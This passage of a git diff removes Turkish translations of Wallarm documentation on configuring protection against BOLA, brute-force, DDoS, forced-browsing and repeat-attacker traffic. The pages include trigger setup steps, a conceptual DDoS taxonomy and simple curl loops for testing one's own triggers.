proxy sunucu veya yük dengeleyicinin arkasına kuruluysa, gerçek istemci IP adreslerinin görüntülenmesini [yapılandırın](../using-proxy-or-balancer-en.md). - -**Kısıtlamalar** - -BOLA saldırı işaretlerini ararken, Wallarm düğümleri yalnızca diğer saldırı türlerinin işaretlerini içermeyen HTTP isteklerini analiz eder. - -## Otomatik koruma - -Diğer BOLA koruma önlemlerine alternatif olarak veya ek olarak, [API Discovery tarafından bulunan uç noktalar için otomatik BOLA korumasını](protecting-against-bola.md) yapılandırabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/protecting-against-bola.md b/docs/latest-tr/admin-en/configuration-guides/protecting-against-bola.md deleted file mode 100644 index 8f5f1069a8..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/protecting-against-bola.md +++ /dev/null @@ -1,41 +0,0 @@ -[variability-in-endpoints-docs]: ../../api-discovery/exploring.md#variability -[changes-in-api-docs]: ../../api-discovery/track-changes.md -[bola-protection-for-endpoints-docs]: ../../api-discovery/bola-protection.md - -# API Discovery tarafından bulunan uç noktalar için Otomatik BOLA Koruması  - -Bu makale, [API Discovery](../../api-discovery/overview.md) (APID) tarafından keşfedilen uç noktalar için otomatik BOLA korumasını açıklar. - -!!! info "Diğer BOLA koruma önlemleri" - Alternatif olarak veya ek olarak, [tetikleyicilerle BOLA koruması](protecting-against-bola-trigger.md) yapılandırabilirsiniz. - ---8<-- "../include/bola-intro.md" - -## Koruma mantığı - ---8<-- "../include/waf/features/bola-mitigation/bola-auto-mitigation-logic.md" - -## Yapılandırma - -!!! info "API Discovery gerekli" - Otomatik BOLA koruması, **[API Discovery](../../api-discovery/overview.md)** modülünü kullanıyorsanız kullanılabilir. - -Otomatik korumayı etkinleştirmek için Wallarm Console → **BOLA protection** bölümüne gidin ve anahtarı etkin konuma getirin: - -![BOLA tetikleyici](../../images/user-guides/bola-protection/trigger-enabled-state.png) - -Ardından, BOLA otomatik algılama şablonunu aşağıdaki gibi düzenleyerek varsayılan Wallarm davranışını ince ayar yapabilirsiniz: - -* Aynı IP'den gelen isteklerin BOLA saldırıları olarak işaretlenmesi için eşiği değiştirin. -* Eşik aşıldığında tepkiyi değiştirin: - - * **Denylist IP** - Wallarm, BOLA saldırı kaynağının IP’lerini [denylist](../../user-guides/ip-lists/overview.md)’e alır ve böylece bu IP’lerin ürettiği tüm trafiği engeller. - * **Graylist IP** - Wallarm, BOLA saldırı kaynağının IP’lerini [graylist](../../user-guides/ip-lists/overview.md)’e alır ve böylece bu IP’lerden gelen yalnızca kötü amaçlı istekleri ve yalnızca filtreleme düğümü safe blocking [mode](../../admin-en/configure-wallarm-mode.md) içindeyse engeller. - -![BOLA tetikleyici](../../images/user-guides/bola-protection/trigger-template.png) - -## Devre dışı bırakma - -Otomatik BOLA korumasını devre dışı bırakmak için **BOLA protection** bölümünde anahtarı devre dışı konuma getirin. - -API Discovery aboneliğinizin süresi dolduğunda, otomatik BOLA koruması otomatik olarak devre dışı bırakılır. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/protecting-against-bruteforce.md b/docs/latest-tr/admin-en/configuration-guides/protecting-against-bruteforce.md deleted file mode 100644 index 1d1a8cbb32..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/protecting-against-bruteforce.md +++ /dev/null @@ -1,95 +0,0 @@ -# Brute Force Koruması - -Kaba kuvvet (brute force) saldırısı, Wallarm tarafından kutudan çıktığı gibi tespit edilmeyen saldırı türlerinden biridir; bu kılavuzda açıklandığı şekilde tespitinin uygun şekilde yapılandırılması gerekir. - -[Düzenli (yaygın) brute force saldırıları](../../attacks-vulns-list.md#brute-force-attack), parola brute forcing, oturum tanımlayıcısı brute forcing ve kimlik bilgisi doldurma (credential stuffing) içerir. Bu saldırılar, sınırlı bir zaman dilimi içinde tipik bir URI’ye farklı zorlanmış parametre değerleriyle gönderilen çok sayıda istekle karakterize edilir. - -## Yapılandırma yöntemi - -Abonelik planınıza bağlı olarak, brute force koruması için aşağıdaki yapılandırma yöntemlerinden biri kullanılabilir: - -* Mitigation controls ([Advanced API Security](../../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) -* Triggers ([Cloud Native WAAP](../../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) - -## Azaltma kontrollerine dayalı koruma - -Wallarm'ın Advanced API Security [aboneliği](../../about-wallarm/subscription-plans.md#core-subscription-plans), brute force saldırılarına karşı koruma dahil olmak üzere gelişmiş [enumeration attack protection](../../api-protection/enumeration-attack-protection.md) sağlar. - -## Tetikleyiciye dayalı koruma - -Bu bölümde açıklanan brute force koruması, Wallarm tarafından sağlanan temel yük kontrolü yollarından biridir. Alternatif olarak [hız sınırlandırma](../../user-guides/rules/rate-limiting.md) uygulayabilirsiniz. Gelen trafiği yavaşlatmak için hız sınırlandırmayı, saldırganı tamamen engellemek için brute force korumasını kullanın. - -Temel brute force korumasına ek olarak, benzer şekilde [zorla gezinme](protecting-against-forcedbrowsing.md) için de temel koruma yapılandırabilirsiniz. - -### Yapılandırma - -Brute force korumasını tetikleyicilerle nasıl yapılandıracağınızı öğrenmek için aşağıdaki örneği inceleyin. - -Diyelim ki kötü niyetli aktörlerin `rent-car` uygulamanızın kimlik doğrulama uç noktaları üzerinden yetkili erişim elde etmek için çeşitli parolaları denemesini (brute force saldırısı) engellemek istiyorsunuz. Bu korumayı sağlamak için kimlik doğrulama uç noktalarınız için zaman aralığı başına istek sayısını sınırlayabilir ve bu sınırı aşan IP’leri engelleyecek şekilde ayarlayabilirsiniz: - -1. Wallarm Console → **Triggers**’ı açın ve tetikleyici oluşturma penceresini açın. -1. **Brute force** koşulunu seçin. -1. 30 saniyede aynı IP’den 30 istek eşiğini ayarlayın. - - Bunların örnek değerler olduğunu unutmayın - tetikleyiciyi kendi trafiğiniz için yapılandırırken, eşiği meşru kullanım istatistiklerinizi dikkate alarak tanımlamalısınız. - - !!! info "İzin verilen eşik zaman aralıkları" - Eşik zaman aralığını ayarlarken, seçilen birime bağlı olarak değer 30 saniyenin veya 10 dakikanın katı olmalıdır. - -1. **Application** filtresini `rent-car` olarak ayarlayın (uygulama Wallarm’da [kayıtlı](../../user-guides/settings/applications.md) olmalıdır). -1. **URI** filtresini ekrandaki ekran görüntüsünde gösterildiği gibi aşağıdakileri içerecek şekilde ayarlayın: - - * Yolda “herhangi bir sayıda bileşen” anlamına gelen `**` [joker karakter (wildcard)](../../user-guides/rules/rules.md#using-wildcards) - * İstek kısmında “uç noktada `login` içerir” anlamına gelen `.*login*` [düzenli ifade](../../user-guides/rules/rules.md#condition-type-regex) - - Birlikte, örneğin şunları kapsar: - `https://rent-car-example.com/users/login` - `https://rentappc-example.com/usrs/us/p-login/sq` - (tüm tetikleyicinin çalışması için alan adlarının seçili uygulamaya [bağlı](../../user-guides/settings/applications.md#automatic-application-identification) olması gerektiğini unutmayın) - - ![Kaba kuvvet tetikleyici örneği](../../images/user-guides/triggers/trigger-example6-4.8.png) - - * Bu örnekte ihtiyacımız olan deseni yapılandırmanın yanı sıra, belirli URI’ler girebilir veya herhangi bir URI belirtmeyerek tetikleyicinin herhangi bir uç noktada çalışmasını sağlayabilirsiniz. - * İç içe URI’ler kullanıyorsanız, [tetikleyici işleme önceliklerini](../../user-guides/triggers/triggers.md#trigger-processing-priorities) dikkate alın. - -1. Bu durumda **IP** filtresini kullanmayın, ancak yalnızca belirli IP’lerden gelen isteklere tepki verecek tetikleyiciler ayarlamak için bunu kullanabileceğinizi bilin. -1. **Denylist IP address** - `Block for 1 hour` tetikleyici tepkisini seçin. Eşik aşıldıktan sonra Wallarm kaynak IP’yi [denylist](../../user-guides/ip-lists/overview.md)’e ekleyecek ve ondan gelen tüm sonraki istekleri engelleyecektir. - - Brute force koruması tarafından bot IP’si denylist’e yerleştirilmiş olsa bile, varsayılan olarak Wallarm ondan gelen engellenen isteklere ilişkin istatistikleri toplar ve [görüntüler](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips). - -1. **Mark as brute force** tetikleyici tepkisini seçin. Eşik aşıldıktan sonra alınan istekler brute force saldırısı olarak işaretlenecek ve Wallarm Console’un **Attacks** bölümünde görüntülenecektir. Bazı durumlarda, bu tepkiyi tek başına kullanarak saldırı hakkında bilgi edinebilir, ancak hiçbir şeyi engellemezsiniz. -1. Tetikleyiciyi kaydedin ve [Bulut ve düğüm senkronizasyonunun tamamlanmasını](../configure-cloud-node-synchronization-en.md) bekleyin (genellikle 2-4 dakika sürer). - -Brute force koruması için birden fazla tetikleyici yapılandırabilirsiniz. - -### Test - -!!! info "Ortamınızda test etme" - **Brute force** tetikleyicisini ortamınızda test etmek için, aşağıdaki tetikleyicide ve isteklerde alan adını herhangi bir genel alan adıyla (ör. `example.com`) değiştirin. Kendi [uygulamanızı](../../user-guides/settings/applications.md) ayarlayın ve alan adını ona bağlayın. - -[**Yapılandırma**](#configuring) bölümünde açıklanan tetikleyiciyi test etmek için: - -1. `rent-car-example.com` alan adının, Wallarm’da kayıtlı `rent-car` uygulamasının bir parçası olarak [tanımlandığından](../../user-guides/settings/applications.md#automatic-application-identification) emin olun. -1. Bu alan adının korunan uç noktasına, yapılandırılan eşiği aşan sayıda istek gönderin. Örneğin, `rent-car-example.com/users/login` adresine 50 istek: - - ```bash - for (( i=0 ; $i<51 ; i++ )) ; do curl https://rent-car-example.com/users/login ; done - ``` -1. Wallarm Console → **IP lists** → **Denylist**’i açın ve kaynak IP adresinin engellendiğini kontrol edin. -1. **Attacks** bölümünü açın ve isteklerin listede bir brute force saldırısı olarak görüntülendiğini kontrol edin. - - ![Arayüzde brute force saldırısı](../../images/user-guides/events/brute-force-attack.png) - - Görüntülenen istek sayısı, tetikleyici eşiği aşıldıktan sonra gönderilen istek sayısına karşılık gelir ([davranışsal saldırıların tespiti hakkında daha fazla bilgi](../../attacks-vulns-list.md#attack-types)). Bu sayı 5’ten büyükse, istek örneklemesi uygulanır ve istek ayrıntıları yalnızca ilk 5 hit için görüntülenir ([istek örneklemesi hakkında daha fazla bilgi](../../user-guides/events/grouping-sampling.md#sampling-of-hits)). - - Brute force saldırılarını aramak için `brute` filtresini kullanabilirsiniz. Tüm filtreler [arama kullanımına ilişkin talimatlarda](../../user-guides/search-and-filters/use-search.md) açıklanmıştır. - -### Gereksinimler ve kısıtlamalar - -**Gereksinimler** - -Kaynakları brute force saldırılarına karşı korumak için gerçek istemci IP adresleri gereklidir. Filtreleme düğümü bir proxy sunucusunun veya yük dengeleyicinin arkasına konuşlandırıldıysa, gerçek istemci IP adreslerini görüntülemek için [yapılandırın](../using-proxy-or-balancer-en.md). - -**Kısıtlamalar** - -Brute force saldırısı belirtilerini ararken, Wallarm düğümleri yalnızca diğer saldırı türlerinin belirtilerini içermeyen HTTP isteklerini analiz eder. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/protecting-against-ddos.md b/docs/latest-tr/admin-en/configuration-guides/protecting-against-ddos.md deleted file mode 100644 index 58c8fcaf70..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/protecting-against-ddos.md +++ /dev/null @@ -1,61 +0,0 @@ -# DDoS koruması - -DDoS (Distributed Denial of Service) saldırısı, bir saldırganın bir web sitesini veya çevrimiçi hizmeti birden çok kaynaktan gelen trafikle aşırı yükleyerek kullanılamaz hale getirmeye çalıştığı bir siber saldırı türüdür. Bu belge, DDoS korumasına yönelik önerileri ve kaynaklarınızı Wallarm ile koruma yöntemlerini açıklar. - -DDoS saldırıları genellikle ele geçirilmiş bilgisayar sistemlerinden oluşan, botnet olarak da adlandırılan bir ağ üzerinden başlatılır. Saldırganlar, hedefe büyük miktarda trafik göndermek için bu sistemleri kullanarak sunucuyu aşırı yükler ve meşru taleplere yanıt veremez hale getirir. DDoS saldırıları web siteleri, çevrimiçi oyunlar ve hatta sosyal medya platformları dahil olmak üzere her tür çevrimiçi hizmeti hedef alabilir. - -Saldırganların DDoS saldırısı başlatmak için kullanabileceği birçok teknik vardır ve kullandıkları yöntem ve araçlar önemli ölçüde değişkenlik gösterebilir. Bazı saldırılar nispeten basittir ve bir sunucuya çok sayıda bağlantı isteği göndermek gibi düşük seviyeli teknikler kullanırken, diğerleri daha sofistike olup IP adresi sahteciliği (spoofing) veya ağ altyapısındaki güvenlik açıklarını istismar etmek gibi karmaşık taktikler kullanır. - -## DDoS saldırı taksonomisi - -Saldırganların bir web sitesinin veya çevrimiçi hizmetin kullanılabilirliğini bozmak için kullanabileceği birkaç DDoS saldırı türü vardır. İşte yaygın DDoS saldırı türleri: - -| OSI katmanı / Saldırı Türü | [Hacimsel ve amplifikasyon saldırıları](#volum-amplif-attacks) | [Protokol istismarları ve Mantık bombaları](#proto-attacks-logicbombs) | -| ---- | ----------- | -------- | -| L3/L4 |
            • UDP flood: Bu saldırılar, kullanılabilir bant genişliğini tüketmek ve hizmeti aksatmak amacıyla hedefe çok sayıda UDP paketi gönderir.
            • ICMP flood (Smurf saldırıları): Bu saldırılar, bant genişliğini tüketmek ve hizmeti aksatmak amacıyla hedefe çok sayıda yankı isteği paketi (genellikle "ping" istekleri olarak bilinir) göndermek için ICMP kullanır.
            |
            • SYN flood: Bu saldırılar, TCP bağlantılarının kurulma biçiminden yararlanır. Saldırgan hedefe çok sayıda SYN paketi gönderir, ancak bağlantı kurmak için kullanılan üç yönlü el sıkışma sürecini asla tamamlamaz. Bu durum, hedef sunucu kaynaklarını el sıkışmanın tamamlanmasını beklerken meşgul ederek tüketebilir.
            • Ping of Death: Bu saldırılar, hedefi çökertmek amacıyla aşırı büyük boyutlu paketler gönderir. Paketler, hedefin işleyebileceği maksimum boyuttan daha büyüktür ve bunları işleme girişimi hedefin çökmesine veya kullanılamaz hale gelmesine neden olabilir.
            | -| L7 |
            • HTTP flood: Bu saldırılar, bir sunucuya veya web uygulamasına çok sayıda meşru görünümlü GET veya POST isteği göndererek hedefi bunaltır. Bu tür bir saldırı genellikle, saldırgan tarafından kontrol edilen, kötü amaçlı yazılımla enfekte edilmiş ele geçirilmiş bilgisayarlardan oluşan botnetler kullanılarak gerçekleştirilir.
            • Amplifikasyon saldırıları: Bu saldırılar, hedefe gönderilen trafik hacmini büyütmek için amplifikasyon tekniklerinden yararlanır. Örneğin, bir saldırgan, çok daha büyük bir yanıtla cevap veren bir sunucuya küçük bir istek gönderebilir; bu da hedefe gönderilen trafik hacmini etkili bir şekilde artırır. Saldırganların amplifikasyon saldırısı başlatmak için kullanabileceği çeşitli teknikler vardır, örneğin: NTP amplifikasyonu, DNS amplifikasyonu vb.
            |
            • Slowloris: Slowloris saldırıları, minimum bant genişliği gerektirmeleri ve yalnızca tek bir bilgisayar kullanılarak gerçekleştirilebilmeleri bakımından benzersizdir. Saldırı, bir web sunucusuna birden çok eşzamanlı bağlantı başlatıp bunları uzun süre açık tutarak çalışır. Saldırgan, tamamlanma aşamasına ulaşmalarını engellemek için kısmi istekler gönderir ve bunları zaman zaman HTTP üstbilgileriyle tamamlar.
            | -| API/Uygulamaya özgü (L7+) |
            • Ağır İstek (Heavy Request): Bu saldırılar, sunucunun yanıt olarak büyük miktarda veri göndermesine yol açan özel hazırlanmış istekler kullanır. Bu tür saldırılar, genellikle hedefli saldırılarda kullanılır; çünkü uygulamanızın ve API’nizin ön incelemesini gerektirir ve güvenlik açıklarının istismarına dayanır.
            |
            • Mantık Bombası (Logic Bomb): Bu saldırılar, istek işleme sırasında güvenlik açıklarından yararlanmak üzere tasarlanmış ve büyük miktarda veri içeren özel hazırlanmış istekler kullanır; bu da hedef sistemlerde yüksek kaynak tüketimine yol açar. Farklı mantık bombası türleri vardır: XML Bomb, JSON Bomb, vb.
            | - -**Hacimsel ve amplifikasyon saldırıları**, hedefi büyük hacimli trafikle bunaltmayı amaçlar. Amaç, hedef sunucunun veya ağın bant genişliğini veya bilgi işlem kaynaklarını doyurarak meşru isteklere yanıt veremez hale getirmektir. - -**Protokol istismarları ve Mantık bombaları**, bir hizmetin veya ağın iletişim kurma biçimindeki güvenlik açıklarından yararlanmayı amaçlayan DDoS saldırılarıdır. Bu saldırılar, belirli protokolleri istismar ederek veya hedefin işlemesi zor hatalı biçimlendirilmiş paketler göndererek normal trafik akışını bozabilir. - -## DDoS saldırılarının azaltılması - -DDoS saldırıları birçok farklı biçimde olabilir ve farklı OSI katmanlarını hedef alabilir; tekil önlemler etkili değildir, bu nedenle DDoS saldırılarına karşı kapsamlı koruma sağlamak için önlemlerin bir kombinasyonunu kullanmak önemlidir. - -* İnternet Servis Sağlayıcıları ve Bulut Servis Sağlayıcıları genellikle L3-L4 DDoS saldırılarına karşı ilk savunma hattını sağlar. Yüksek şiddetli L3-L4 DDoS saldırıları için ise ek azaltma araçları gereklidir; örneğin: - - 1 Gbps veya daha yüksek hızda trafik üreten bir DDoS saldırısı, trafik temizleme (traffic scrubbing) için uzmanlaşmış DDoS koruma hizmetleri gerektirebilir. Trafik temizleme, trafiği kötü amaçlı trafiği filtreleyen ve yalnızca meşru istekleri hizmetinize ileten üçüncü taraf bir hizmet üzerinden yönlendirme tekniğidir. L3-L4 DDoS saldırılarına karşı ek bir koruma önlemi olarak NGFW gibi çözümler de kullanılabilir. -* L7 DDoS saldırıları, "uygulama katmanı" saldırıları olarak da bilinir, L3-L4 saldırılarına göre daha hedefli ve sofistike olur. Genellikle, L7 DDoS saldırıları saldırıya uğrayan uygulamaların özelliklerini hedef alır ve meşru trafikten ayırt edilmesi zor olabilir. L7 DDoS saldırılarına karşı koruma için, uygulama katmanındaki trafiği analiz eden WAAP veya özel Anti-DDoS çözümleri kullanın. Ayrıca, API Gateway veya Web sunucusunu, tepe yükleri karşılayabilecek şekilde yapılandırmanız önerilir. - -Koruma önlemlerini seçerken, aşağıdaki faktörlere göre bir kuruluşun ihtiyaç ve kaynaklarını dikkatlice değerlendirin: - -* Saldırı türleri -* Saldırıların hacmi -* Bir web uygulamasının veya API’nin karmaşıklığı ve maliyetler - -DDoS saldırısını mümkün olan en kısa sürede tespit etmek ve onları azaltmak için zamanında karşı önlemler almak amacıyla bir müdahale planı hazırlamak da gereklidir. - -## Wallarm ile L7 DDoS koruması - -Wallarm, L7 DDoS tehditlerine karşı geniş bir koruma önlemi yelpazesi sunar: - -* [API Abuse Prevention](../../api-abuse-prevention/overview.md). Çeşitli türlerde kötü niyetli botları tespit edip durdurmak için API Abuse Prevention işlevselliğini etkinleştirin. -* [Brute force trigger](protecting-against-bruteforce.md), bazı parametre değerlerini (ör. parolalar) kaba kuvvetle denemeye yönelik çok sayıda isteği engellemek için. -* [Forced browsing trigger](protecting-against-bruteforce.md), bir web uygulamasının gizli kaynaklarını, yani dizin ve dosyaları tespit etmeye yönelik kötü amaçlı girişimleri engellemek için. -* [denylists and graylists](../../user-guides/ip-lists/overview.md) kullanarak coğrafi konuma göre filtreleme. Saldırıların dağıtıldığı belirli bölgelere uygulamalara ve API’lere erişimi engelleyin. -* [denylists and graylists](../../user-guides/ip-lists/overview.md) kullanarak güvenilmez kaynakları engelleyin. Hedefli saldırılara karşı korunmak için, saldırganın konumunu gizlemesine ve coğrafi filtreleri atlatmasına olanak tanıyan güvenilmez kaynakları (Tor, Proxy, VPN) engellemek yararlı olabilir. -* [Mantık (Veri) bombası](#proto-attacks-logicbombs) tespiti. Wallarm, Zip veya XML bombası içeren kötü amaçlı istekleri otomatik olarak algılar ve engeller. -* [Rate limiting](../../user-guides/rules/rate-limiting.md) yapılandırması. Belirli bir API kapsamına yapılabilecek maksimum bağlantı sayısını belirtin. Bir istek tanımlı sınırı aşarsa, Wallarm isteği reddeder. - -NGINX tabanlı Wallarm düğümü kullanıyorsanız, L7 DDoS genelinde güvenliğinizi artırmak için NGINX’i aşağıdaki şekilde yapılandırmanız önerilir: - -* Önbellekleme. DDoS saldırıları sırasında oluşturulan trafiğin bir kısmını absorbe etmek ve web uygulamanıza veya API’nize ulaşmasını engellemek için yaygın isteklere verilen yanıtların önbelleğe alınmasını yapılandırın. -* Oran sınırlama (Rate limiting). Hedef web uygulamasına veya API’ye gönderilebilecek trafik hacmini kısıtlamak için gelen isteklere yönelik oran sınırlama kuralları oluşturun. -* Bağlantı sayısını sınırlama. Tek bir istemci IP adresi tarafından açılabilecek bağlantı sayısını gerçek kullanıcılar için uygun bir değere ayarlayarak kaynakların aşırı kullanımını önleyebilirsiniz. -* Yavaş bağlantıları kapatma. Bir bağlantı yeterince sık veri yazmıyorsa, uzun süre açık kalmasını ve sunucunun yeni bağlantıları kabul etme yeteneğini engellemesini önlemek için kapatılabilir. - -[NGINX yapılandırma örneklerini ve diğer önerileri görün](https://www.nginx.com/blog/mitigating-ddos-attacks-with-nginx-and-nginx-plus/) - -Kong API Gateway kullanıyorsanız, ayrıca [API Gateway’i güvenli hale getirmek için en iyi uygulamaları](https://konghq.com/learning-center/api-gateway/secure-api-gateway) izlemeniz önerilir. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/protecting-against-forcedbrowsing.md b/docs/latest-tr/admin-en/configuration-guides/protecting-against-forcedbrowsing.md deleted file mode 100644 index 0783cef4ee..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/protecting-against-forcedbrowsing.md +++ /dev/null @@ -1,93 +0,0 @@ -# Zorla Gezintiye Karşı Koruma - -Zorla gezinti saldırısı, Wallarm tarafından varsayılan olarak tespit edilmeyen saldırı türlerinden biridir; tespiti bu kılavuzda açıklandığı şekilde uygun şekilde yapılandırılmalıdır. - -[Zorla gezinti](../../attacks-vulns-list.md#forced-browsing) saldırıları, sınırlı bir zaman aralığında farklı URI’lere yapılan isteklere 404 yanıt kodlarının yüksek sayıda dönmesi ile karakterize edilir. - -Bu saldırı, gizli kaynakları (ör. uygulama bileşenlerine ilişkin bilgileri içeren dizinler ve dosyalar) numaralandırmayı ve bunlara erişmeyi amaçlar. Zorla gezinti saldırı türü genellikle saldırganların uygulama hakkında bilgi toplamasına ve bu bilgiyi kötüye kullanarak diğer saldırı türlerini gerçekleştirmesine olanak tanır. - -## Yapılandırma yöntemi - -Abonelik planınıza bağlı olarak, kaba kuvvet koruması için aşağıdaki yapılandırma yöntemlerinden biri kullanılabilir: - -* Mitigation kontrolleri ([Advanced API Security](../../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) -* Triggers ([Cloud Native WAAP](../../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliği) - -## Mitigation kontrolüne dayalı koruma - -Wallarm'ın Advanced API Security [aboneliği](../../about-wallarm/subscription-plans.md#core-subscription-plans), zorla gezinti saldırılarına karşı koruma da dahil olmak üzere gelişmiş [numaralandırma saldırı koruması](../../api-protection/enumeration-attack-protection.md) sağlar. - -## Trigger tabanlı koruma - -### Configuring - -Aşağıdaki örneği inceleyerek zorla gezinti korumasını nasıl yapılandıracağınızı öğrenin. - -Diyelim ki çevrimiçi `book-sale` uygulamasına sahipsiniz. `book-sale-example.com` alan adınız altında gizli dizin ve dosya adlarını denemeye çalışan kötü niyetli aktörleri (zorla gezinti saldırısı) engellemek istiyorsunuz. Bu korumayı sağlamak için alan adınız için belirli bir zaman aralığında 404 yanıtlarının sayısını sınırlayabilir ve bu limiti aşan IP’leri engelleyecek şekilde ayarlayabilirsiniz: - -Bu korumayı sağlamak için: - -1. Wallarm Console → **Triggers**’ı açın ve tetikleyici oluşturma penceresini açın. -1. **Forced browsing** koşulunu seçin. -1. Aynı kaynak IP’den gelen isteklere dönen 404 yanıt kodları sayısı için eşiği 30 saniyede 30 olarak ayarlayın. - - Bunların örnek değerler olduğunu unutmayın - kendi trafiğiniz için tetikleyiciyi yapılandırırken, meşru kullanım istatistiklerinizi dikkate alarak bir eşik tanımlamalısınız. - - !!! info "İzin verilen eşik zaman aralıkları" - Eşik zaman aralığını ayarlarken, seçilen birime bağlı olarak değer 30 saniyenin veya 10 dakikanın katı olmalıdır. - -1. **URI** filtresini aşağıdaki ekran görüntüsünde gösterildiği gibi ayarlayın; şunları içerecek şekilde: - - * Yolda "bileşen sayısı sınırsız" anlamına gelen `**` [joker karakteri](../../user-guides/rules/rules.md#using-wildcards). Bu, `book-sale-example.com` altındaki tüm adresleri kapsar. - - ![Zorla gezinti tetikleyicisi örneği](../../images/user-guides/triggers/trigger-example5-4.8.png) - - * Bu örnekte ihtiyaç duyduğumuz deseni yapılandırmanın yanı sıra, belirli URI’ler girebilir (örneğin, kaynak dosya dizininizin URI’si) veya herhangi bir URI belirtmeyerek tetikleyicinin tüm uç noktalarda çalışmasını sağlayabilirsiniz. - * İç içe URI’ler kullanıyorsanız, [tetikleyici işleme önceliklerini](../../user-guides/triggers/triggers.md#trigger-processing-priorities) göz önünde bulundurun. - -1. Bu durumda şunları kullanmayın: - - * **Application** filtresi, ancak seçili uygulamaların alan adlarını veya belirli uç noktalarını hedefleyen isteklere yalnızca tepki verecek şekilde tetikleyiciler ayarlamak için bunu kullanabileceğinizi unutmayın. - * **IP** filtresi, ancak belirli IP’lerden gelen isteklere yalnızca tepki verecek şekilde tetikleyiciler ayarlamak için bunu kullanabileceğinizi unutmayın. - -1. **Denylist IP address** - `Block for 4 hour` tetikleyici tepkisini seçin. Eşik aşıldığında Wallarm, kaynak IP’yi [denylist](../../user-guides/ip-lists/overview.md) listesine ekleyecek ve bundan sonraki tüm istekleri engelleyecektir. - - Bot IP’si zorla gezinti koruması tarafından denylist’e eklense bile, varsayılan olarak Wallarm, ondan gelen engellenen isteklere ilişkin istatistikleri toplar ve [görüntüler](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips). - -1. **Mark as forced browsing** tetikleyici tepkisini seçin. Eşik aşıldıktan sonra alınan istekler zorla gezinti saldırısı olarak işaretlenecek ve Wallarm Console’un **Attacks** bölümünde görüntülenecektir. Bazen, herhangi bir şeyi engellemeden saldırı hakkında bilgi sahibi olmak için bu tepkiyi tek başına kullanabilirsiniz. -1. Tetikleyiciyi kaydedin ve [Cloud ve node senkronizasyonunun tamamlanmasını](../configure-cloud-node-synchronization-en.md) bekleyin (genellikle 2-4 dakika sürer). - -Zorla gezinti koruması için birden fazla tetikleyici yapılandırabilirsiniz. - -### Test - -!!! info "Ortamınızda test" - Kendi ortamınızda **Forced browsing** tetikleyicisini test etmek için, aşağıdaki tetikleyicide ve isteklerde alan adını herkese açık herhangi biriyle (ör. `example.com`) değiştirin. - -[Configuring](#configuring) bölümünde açıklanan tetikleyiciyi test etmek için: - -1. Korumalı URI’ye, yapılandırılmış eşiği aşacak sayıda istek gönderin. Örneğin, `https://book-sale-example.com/config.json` adresine 50 istek ( `https://book-sale-example.com/**.**` ile eşleşir): - - ```bash - for (( i=0 ; $i<51 ; i++ )) ; do curl https://book-sale-example.com/config.json ; done - ``` -2. Tetikleyici tepkisi **Denylist IP address** ise, Wallarm Console → **IP lists** → **Denylist**’i açın ve kaynak IP adresinin engellendiğini kontrol edin. - - Tetikleyici tepkisi **Graylist IP address** ise, Wallarm Console’un **IP lists** → **Graylist** bölümünü kontrol edin. -3. **Attacks** bölümünü açın ve isteklerin zorla gezinti saldırısı olarak listede görüntülendiğini kontrol edin. - - ![Arayüzde zorla gezinti saldırısı](../../images/user-guides/events/forced-browsing-attack.png) - - Görüntülenen istek sayısı, tetikleyici eşiği aşıldıktan sonra gönderilen istek sayısına karşılık gelir ([davranışsal saldırıların tespiti hakkında daha fazla bilgi](../../attacks-vulns-list.md#attack-types)). Bu sayı 5’ten büyükse, istek örnekleme uygulanır ve istek ayrıntıları yalnızca ilk 5 hit için görüntülenir ([istek örnekleme hakkında daha fazla bilgi](../../user-guides/events/grouping-sampling.md#sampling-of-hits)). - - Zorla gezinti saldırılarını aramak için `dirbust` filtresini kullanabilirsiniz. Tüm filtreler [arama kullanımına ilişkin talimatlarda](../../user-guides/search-and-filters/use-search.md) açıklanmıştır. - -### Gereksinimler ve kısıtlamalar - -**Gereksinimler** - -Kaynakları zorla gezinti saldırılarından korumak için gerçek istemci IP adresleri gereklidir. Filtreleme node’u bir proxy sunucusunun veya yük dengeleyicinin arkasına konuşlandırılmışsa, gerçek istemci IP adreslerinin görüntülenmesini [yapılandırın](../using-proxy-or-balancer-en.md). - -**Kısıtlamalar** - -Zorla gezinti saldırısı işaretlerini ararken, Wallarm node’ları yalnızca diğer saldırı türlerinin işaretlerini içermeyen HTTP isteklerini analiz eder. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/protecting-with-thresholds.md b/docs/latest-tr/admin-en/configuration-guides/protecting-with-thresholds.md deleted file mode 100644 index 429ecd8983..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/protecting-with-thresholds.md +++ /dev/null @@ -1,71 +0,0 @@ -# Çoklu Saldırı Faillerine Karşı Koruma - -Wallarm [blocking mode](../../admin-en/configure-wallarm-mode.md) konumundayken, kötü amaçlı payload içeren tüm istekleri otomatik olarak engeller ve yalnızca meşru isteklerin geçmesine izin verir. Aynı IP’den gelen farklı kötü amaçlı payload sayısı (sıklıkla “multi-attack perpetrator” olarak anılır) belirli bir eşiği aşarsa, Wallarm’ın tepkisini ayarlayarak uygulamalarınız ve API’niz için ek koruma yapılandırabilirsiniz. - -Bu tür failler otomatik olarak denylist’e alınabilir; bu da onlardan gelen tüm isteklerin engellenmesini sağlar. Bu durumda, söz konusu kaynaktan geçmişte çok sayıda kötü amaçlı istek üretildiği için, isteklerin kötü amaçlı olup olmadığını analiz etmeye zaman harcanmaz. - -## Yapılandırma - -Aşağıdaki örneği göz önünde bulundurarak çoklu saldırı faillerine karşı korumayı nasıl yapılandıracağınızı öğrenin. - -Diyelim ki bazı IP’lerden saatte 3’ten fazla kötü amaçlı payload gelmesini, IP’yi tamamen engellemek için yeterli bir sebep olarak değerlendiriyorsunuz. Bunu yapmak için ilgili eşiği ayarlayın ve 